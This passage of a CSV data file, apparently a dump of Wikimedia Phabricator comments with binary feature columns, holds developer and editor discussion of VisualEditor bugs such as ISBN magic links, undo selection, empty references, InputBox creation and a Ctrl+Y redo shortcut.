+@cscott is working on patches for this ( https://gerrit.wikimedia.org/r/#/c/230146/ and https://gerrit.wikimedia.org/r/#/c/230145/ )",,,1439133300,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1
+504880,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",">>! In T54204#1507599, @ssastry wrote:
+> T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki
+
+In Hebrew as well.",,,1439132488,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,109,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+502028,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki,,,1438716820,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,109,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245652,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",*** Bug 52241 has been marked as a duplicate of this bug. ***,,,1394489652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245645,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","(In reply to comment #5)
+> Magic links are pretty evil.
+
+They are one of many unusual pieces of wiki syntax. And it is quite 'wikipedia' specific functionality which could be dropped from core.
+
+> Explicitly marking links with a parser function
+> is
+> much more sensible.
+
+If the goal is to replace them with a more standard syntax, a 'isbn' interwiki pointing to special:booksources/$1 would be syntax that is more similar and conceptually closer also. Ideally it would render as an internal link when the interwiki points to the local special page.
+
+> I'm not sure supporting magic links in VisualEditor is a
+> good idea.
+
+What is the impact of not supporting these magic links on a) big wikipedias like enwp where these magic works will often be used from a cite template (which can be changed without editing millions of pages) and b) small wikis which are imo more likely to use these magic words in raw wikitext.
+I.e. How many bot edits are needed, and how many tools need to be revised.",,,1376794728,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+245639,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",Magic links are pretty evil. Explicitly marking links with a parser function is much more sensible. I'm not sure supporting magic links in VisualEditor is a good idea.,,,1376787661,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+245634,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","(In reply to comment #3)
+
+> 
+> Clicking on the non-hyphenated ISBN, however, results in a failed attempt to
+> go
+> directly to the ISBN search page, with this resulting error:
+> 
+> Error
+> 404 – File not found
+> http://en.wikipedia.org/Special:BookSources/9781234567890
+> We could not find the above page on our servers.
+> Did you mean to type
+> http://en.wikipedia.org/wiki/Special:BookSources/9781234567890? You will be
+> automatically redirected there in five seconds.
+> Alternatively, you can visit the Main Page or read more information about
+> this
+> type of error.
+
+The incorrect URI is bug 48915 (it's even worse for non-English wikis as it always suggests a page on en.wp). Although I presume what is wanted is for the ISBN to be edited rather than taking you to the ISBN search page? If so then getting to that page from a right click/ctrl+click would potentially be useful.",,,1376064405,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+245629,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","This works for me, but perhaps not as expected.
+
+You can add:
+
+PMIDs:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=563393942&oldid=563393897
+
+ISBNs without hyphenation:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=567704513&oldid=564410882
+
+ISBNs with hyphens:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=567704681&oldid=567704513
+
+Exactly like the classic wikitext editor, these do not display as being links until after they are saved.  They do work correctly when saved.
+
+After they have been saved, if you go back into VisualEditor to edit again, then the PMID and hyphenated ISBNs are not editable or clickable (except to select the whole element).  Changes to them must be made by deleting the whole thing and retyping from scratch.  
+
+Clicking on the non-hyphenated ISBN, however, results in a failed attempt to go directly to the ISBN search page, with this resulting error:
+
+Error
+404 – File not found
+http://en.wikipedia.org/Special:BookSources/9781234567890
+We could not find the above page on our servers.
+Did you mean to type http://en.wikipedia.org/wiki/Special:BookSources/9781234567890? You will be automatically redirected there in five seconds.
+Alternatively, you can visit the Main Page or read more information about this type of error.",,,1375982678,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0
+245624,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","I guess the other Magic links http://www.mediawiki.org/wiki/Markup_spec/BNF/Magic_links
+for RFC and PMID should be included here.",,,1375941068,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+245618,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",Discussed at http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor#Should_inability_to_edit_ISBNs_be_listed_in_the_limitations_section.3F,,,1375940866,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+54186,VisualEditor: Invocations of deleted images don't render at all,"**Author:** `wikipedia`
+
+**Description:**
+When a file is deleted and still is being used in an article, this file is shown in the article as a box with a red link in it. Starting VE to remove the link, the link is no more visible and thus cannot be removed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7",Medium,50.0,1375010460,1389632313.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pw24nueljk2i343joyw2,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+244397,VisualEditor: Invocations of deleted images don't render at all,"
+
+*** This bug has been marked as a duplicate of bug 50788 ***",,,1389632313,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pw24nueljk2i343joyw2,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54184,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,"**Author:** `jonathan_haas`
+
+**Description:**
+Steps to reproduce:
+
+1. Goto http://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
+2. Position the cursor at the start of the page directly before the bold ""T"".
+3. Hit Backspace (to delete infobox)
+4. Hit Ctrl+Z (undo)
+5. Hit Backspace again
+6. Hit Ctrl+Z again
+Repeat as long as you want
+
+Actual result:
+
+On each Ctrl+Z a paragraph more is selected
+
+Expected result:
+
+Selection stays the same, undo should undo the action and not change the selection
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375008900,1394503778.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+244255,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,This was fixed in gerrit 115759 as part of fixing bug 57552.,,,1394503778,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+244252,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,"**jonathan_haas** wrote:
+
+Deleting infoboxes with a simple backspace has been disabled, but this is still somewhat reproducible, if you select an area (for example the infobox _and_ the bold T) in step 2.
+
+In short: The problem is more hidden, but the underlying issue has not been fixed.",,,1382445971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+244248,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,Reproduced.,,,1375050421,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3wvoqjxuqinfi7bgkax4,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54182,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","Removing the content from out of a <ref> .. </ref> should prompt the user that they need to delete the reference.  Perhaps a tooltip, or this might be an opportunity to use a hover trick to give the user something to click to acknowledge they intended to delete the ref.
+
+It shouldnt be possible to save with an empty ref, as that is an error condition.
+
+https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&diff=566133128&oldid=566132993
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50609",Medium,50.0,1375008300,1405038215.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-tgtxd532icx4mnfll75r,task_description,resolved,True,c1,3,False,False,False,3,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+244161,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","Yes, sorry, this was great. Thanks!",,,1405038215,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+244156,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",Ping. Anyone want to answer my question?,,,1405038076,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,53,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+244150,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","So Gerrit change 136496 fixed the existing intended behaviour, but didn't go as far as this bug suggests (it just disables the apply button rather than deleting the reference) - should it be changed to delete the reference still?",,,1401808848,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,48,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+244143,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",*** Bug 62399 has been marked as a duplicate of this bug. ***,,,1401479536,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244135,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",See Gerrit change 81438 and Gerrit change 88618,,,1401476178,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244126,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference",length < 4 is a hack and we probably shouldn't be using it…,,,1401476091,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1
+244115,"VisualEditor: On ""applying changes"" in a reference dialog, if the contents are blank, just delete the reference","According to ve.ui.MWReferenceDialog.prototype.onDocumentTransact, this apply button is supposed to be disabled when the length is less than 4. But when I empty the box, the length is 10 so nothing is done.
+
+Anyway, I think we should either:
+* Fix that bug (if it is one) and mark this bug as invalid (or repurposed for fixing it), or
+* Replace that with this idea",,,1401475699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tgtxd532icx4mnfll75r,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+54162,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","If VisualEditor is default, why after clicking on a red link there's 'action=edit' in url and the source editor runs instead of 'veaction' and VE? I've checked it out on the enwiki and plwiki, but it concerns the rest of phase 2 as well and creating a new page in general. Furthermore, it makes inputboxes ('type=create') incompatible with VE and it can be a bothering problem on some wikis.
+
+**See Also**: {T55441}",Medium,50.0,1374969780,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,False,PHID-TASK-ra3d7l6sbywnzslhiccu,task_description,open,True,c1,3,False,False,,3,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+1283806,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","This should become feasible after we implement {T223793}. We can probably use a similar mechanism to intercept the targets of inputboxes.
+
+Also, note that a `useve=true` inputbox parameter has been implemented in the meantime: {T89341}.",,,1558261962,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,306,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+719578,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",">>! In T54162#2590097, @Elitre wrote:
+> Did SET work affect this...?
+
+Not yet; it will need further work.",,,1472505814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,165,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+719013,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",Did SET work affect this...?,,,1472457462,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,165,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+242938,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","I don't want to make inputbox suddenly magically different. It's about ordinary users (especially the new sort 'born' after VE deployment) who want to type a new article's name, click on button and voila, start creating their article in VE. In 2 steps, after 1 click, without experience like 'why the markups? oh, I'm switching to VE'. They'd be more likely to give up in this case.
+
+Technically, you may change the default 'action' with 'veaction' or create a new parameter or sth else, it's up to you.",,,1412440471,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+242930,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","You can easily point InputBox to VE with a simple hook so that VE can change 'action' to 'veaction'. But that won't make VE magically support all the additional parameters which InputBox uses (e.g. preload, editintro, summary, minor, etc.)",,,1396642309,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,True,,,39,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+242923,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","Ah, I see a process problem with type=fulltext too
+
+inputbox goes to search results, and search results show a red link, which the user would click on to start a new page. e.g.
+
+https://en.wikipedia.org/wiki/Special:Search/this_article_doesnt_exist
+
+I believe that some enhancement will be needed in the InputBox extension to support creating VE or SE articles.
+https://www.mediawiki.org/wiki/Extension:InputBox",,,1375056651,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+242916,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor","In the plwiki, we have no important inputbox with 'type=create' in the main nor user namespace, but there are inputboxes in help or project pages which create a new article (for ex. [[pl:Pomoc:Tworzenie nowych haseł#Niniejsza strona]]), and after clicking the button there is 'action=edit&preload=' in url.
+
+Second, whenever we click on a red link in an article (the main), 'action=edit&redlink=1' displays. The default tab is 'Create source', not 'Create'. It's quite surprising for me and for the newbies, I believe.",,,1375053920,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+242909,"VisualEditor: If VisualEditor is the primary editor, type=create and type=fulltext buttons should point to VE, not WT editor",Could you provide a example of a 'type=create' problem affecting VE?  Is it used on main or user namespace in your wiki?,,,1375052410,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ra3d7l6sbywnzslhiccu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+54140,VisualEditor: Add CTRL+Y as a second shortcut for redo,"An editor on en.wp has requested that Ctrl+Y should initiate the redo action. Presently the shortcut is ctrl+shift+z.
+
+In my experience both shortcuts are used in about 50% of applications (Xubuntu Linux) so it would be ideal if both shortcuts could be used.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374931680,1394055873.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-yocptvdek2u4pm4ssk5d,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+241784,VisualEditor: Add CTRL+Y as a second shortcut for redo,"Change 116966 merged by jenkins-bot:
+Add cmd/ctrl+y as alternative shortcut for redo
+
